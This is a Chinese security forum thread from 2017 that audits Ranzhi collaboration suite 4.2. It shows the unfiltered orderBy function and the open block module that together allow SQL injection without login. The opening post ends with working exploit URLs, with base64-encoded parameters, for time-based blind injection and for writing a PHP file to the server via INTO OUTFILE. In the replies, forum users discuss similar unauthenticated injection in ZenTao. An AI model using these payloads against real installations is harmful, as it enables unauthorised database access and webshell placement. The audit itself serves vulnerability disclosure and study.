九零登录

[【通过】] 代码审计——然之协同4.2注入

[复制链接]
发表于 2017-5-2 15:34:51 | 显示全部楼层 |阅读模式
这个漏洞不需要权限,可以直接注入,如果权限允许是可以直接写shell的,至少也是可以延时注入的。
一、引发问题的地方
// ranzhi/lib/dao/dao.class.php
public function orderBy($order)
{
    if(strpos($order, 'convert(') !== false)
    {
        if($this->inCondition and !$this->conditionIsTrue) return $this;

        $order = str_replace(array('|', '', '_'), ' ', $order);
        var_dump($order);
        $this->sql .= ' ' . DAO::ORDERBY . " $order";
        return $this;
    }
    else
    {
        return parent::orderBy($order);
    }
}
上面是禅道、然之、蝉知这几套系统的orderBy函数,其中你会发现$order并没有经过PDO:quote()等函数过滤,因此导致此问题
二、利用点
// ranzhi/app/cash/block/control.php
public function printTradeBlock()
{
    /*代码省略*/
    $this->view->trades = $this->dao->select('*')->from(TABLE_TRADE)
        ->where('1=1')
        ->beginIF($this->params->type != 'all')->andWhere('type')->eq($this->params->type)->fi()
        ->beginIF(!empty($denyCategories))->andWhere('category')->notin($denyCategories)
        ->beginIF(!$expensePriv)->andWhere('type')->ne('out')->fi()
        ->orderBy($this->params->orderBy)
        ->limit($this->params->num)
        ->fetchAll('id');

    $this->view->currencySign  = $this->loadModel('common', 'sys')->getCurrencySign();
    $this->view->depositorList = $this->loadModel('depositor', 'cash')->getPairs();
    $this->display();
}

public function printReportBlock()
{
    $this->processParams();

    $currentYear  = date('Y');
    $currentMonth = date('m');

    $datas = $this->loadModel('trade', 'cash')->getChartData($this->params->type, $currentYear, $currentMonth, $this->params->groupBy, $this->params->currency);
    $datas = $this->loadModel('report', 'sys')->computePercent($datas);

    $this->view->datas        = $datas;
    $this->view->type         = $this->params->type;
    $this->view->groupBy      = $this->params->groupBy;
    $this->view->currentYear  = $currentYear;
    $this->view->currentMonth = $currentMonth;
    $this->display();


public function processParams()
{
    $params = $this->get->param;
    $this->params = json_decode(base64_decode($params));
    $this->view->sso  = base64_decode($this->get->sso);
    $this->view->code = $this->get->blockid;
}
printReportBlock与printTradeBlock这个地方的参数是经过base64_decode然后json_decode得到的,而且都调用了orderBy函数。并且这两个方法是不需要登录就可以访问的,系统采用isOpenMethod函数判断是否可以公开访问,可以看到block模块是可以访问的。
// ranzhi/app/sys/common/model.php
public function isOpenMethod($module, $method)
{
    if($module == 'user' and strpos(',login|logout|deny|control', $method)) return true;
    if($module == 'api'  and $method == 'getsessionid') return true;
    if($module == 'misc' and $method == 'ping') return true;
    if($module == 'misc' and $method == 'ignorenotice') return true;
    if($module == 'action' and $method == 'read') return true;
    if($module == 'block') return true;         // 这里
    if($module == 'notice') return true;
    if($module == 'sso' and strpos(',auth|check|gettodolist', $method)) return true;
    if($module == 'attend' and strpos(',signin|signout', $method)) return true;
    if($module == 'refund' and $method == 'createtrade') return true;
    if($this->loadModel('user')->isLogon() and stripos($method, 'ajax') !== false) return true;

    return false;
}   

三、利用方式
可以用延时注入、或者利用SQL语句直接写shell。

最后的payload如下:
// 延时盲注
http://ranzhi.me/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQvKiovYW5kLyoqLyhzZWxlY3QvKiovY2FzZS8qKi93aGVuLyoqLygoc2VsZWN0LyoqL3VzZXIoKSlsaWtlJyUnKS8qKi90aGVuLyoqL3NsZWVwKDEpLyoqL2VuZCk9MSMifQ&sso=eyJzc28iOjF9&blockid=1

{"orderBy":"id/**/and/**/(select/**/case/**/when/**/((select/**/user())like'%')/**/then/**/sleep(1)/**/end)=1#"}

// 直接写shell,可以在d:盘下面写一个1.php
http://ranzhi.me/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiYG9yZGVyYC8qKi9pbnRvLyoqL291dGZpbGUvKmNvbnZlcnQoKi8nZDovMS5waHAnIyJ9&sso=eyJzc28iOjF9&blockid=1


{"orderBy":"`id` into outfile/*convert(*/ 'd:/1.php' lines terminated by'<?php phpinfo();?>' #"}

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2017-5-2 16:32:41 | 显示全部楼层
找个文件看看能不能爆路径。
发表于 2017-5-2 21:29:19 | 显示全部楼层
谢谢大佬分享,有木有审计群,求加入
发表于 2017-5-3 11:53:56 | 显示全部楼层
路径的话,我记得禅道可以直接sql注入报错报出来,但是然之协同我不太清楚,并且貌似两个系统的orderBy函数也有一点差异,禅道orderBy还判断了limit,而这个貌似没有。
 楼主| 发表于 2017-5-3 14:37:09 | 显示全部楼层

RE: 代码审计——然之协同4.2注入

Balis0ng 发表于 2017-5-3 11:53
路径的话,我记得禅道可以直接sql注入报错报出来,但是然之协同我不太清楚,并且貌似两个系统的orderBy函数也有一点差异,禅道orderBy还判断了limit,而这个貌似没有。

是的,其实就审着完的,禅道和这个有一点区别的,但是,禅道低一点的版本,limit是没做判断,而且刚好有个地方可以前台访问不需要登录~~~
发表于 2017-5-4 23:52:35 | 显示全部楼层

RE: 代码审计——然之协同4.2注入

该隐 发表于 2017-5-3 14:37
是的,其实就审着完的,禅道和这个有一点区别的,但是,禅道低一点的版本,limit是没做判断,而且刚好有个地方可以前台访问不需要登录~~~

其实禅道最新版limit也没做判断。
 楼主| 发表于 2017-5-5 09:21:04 | 显示全部楼层

RE: 代码审计——然之协同4.2注入

Balis0ng 发表于 2017-5-4 23:52
其实禅道最新版limit也没做判断。

不是吧,有正则做了判断的啊~~~public function limit($limit)
{
        if($this->inCondition and !$this->conditionIsTrue) return $this;
        if(empty($limit)) return $this;

        /* filter limit. */
        $limit = trim(str_ireplace('limit', '', $limit));
        if(!preg_match('/^[0-9]+ *(, *[0-9]+)?$/', $limit)) die("Limit is bad query, The limit is $limit");
        $this->sql .= ' ' . DAO::LIMIT . " $limit ";
        return $this;
}


发表于 2017-5-5 12:21:14 | 显示全部楼层

RE: 代码审计——然之协同4.2注入

该隐 发表于 2017-5-5 09:21
不是吧,有正则做了判断的啊~~~

不是这个limit,而是orderby里的limit。
发表于 2017-5-6 13:33:46 | 显示全部楼层

RE: 代码审计——然之协同4.2注入

Balis0ng 发表于 2017-5-3 11:53
路径的话,我记得禅道可以直接sql注入报错报出来,但是然之协同我不太清楚,并且貌似两个系统的orderBy函数也有一点差异,禅道orderBy还判断了limit,而这个貌似没有。

老哥,你说的禅道哪个版本,前两天遇到个禅道最新版的,登录不了的情况下有洞么?
发表于 2017-5-6 13:39:27 | 显示全部楼层

RE: 代码审计——然之协同4.2注入

请叫我小强 发表于 2017-5-6 13:33
老哥,你说的禅道哪个版本,前两天遇到个禅道最新版的,登录不了的情况下有洞么?

最新版不用登陆照样注入,可以直接给你加个管理员让你登
发表于 2017-5-6 13:59:40 | 显示全部楼层

RE: 代码审计——然之协同4.2注入

Balis0ng 发表于 2017-5-6 13:39
最新版不用登陆照样注入,可以直接给你加个管理员让你登

老哥,求指点。
发表于 2017-5-6 16:14:55 | 显示全部楼层

RE: 代码审计——然之协同4.2注入


自己去审计嘛....我说出来不太好..
 楼主| 发表于 2017-5-8 09:17:30 | 显示全部楼层

RE: 代码审计——然之协同4.2注入


isOpenMethod()

九零

GMT+8, 2026-10-22 14:31

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表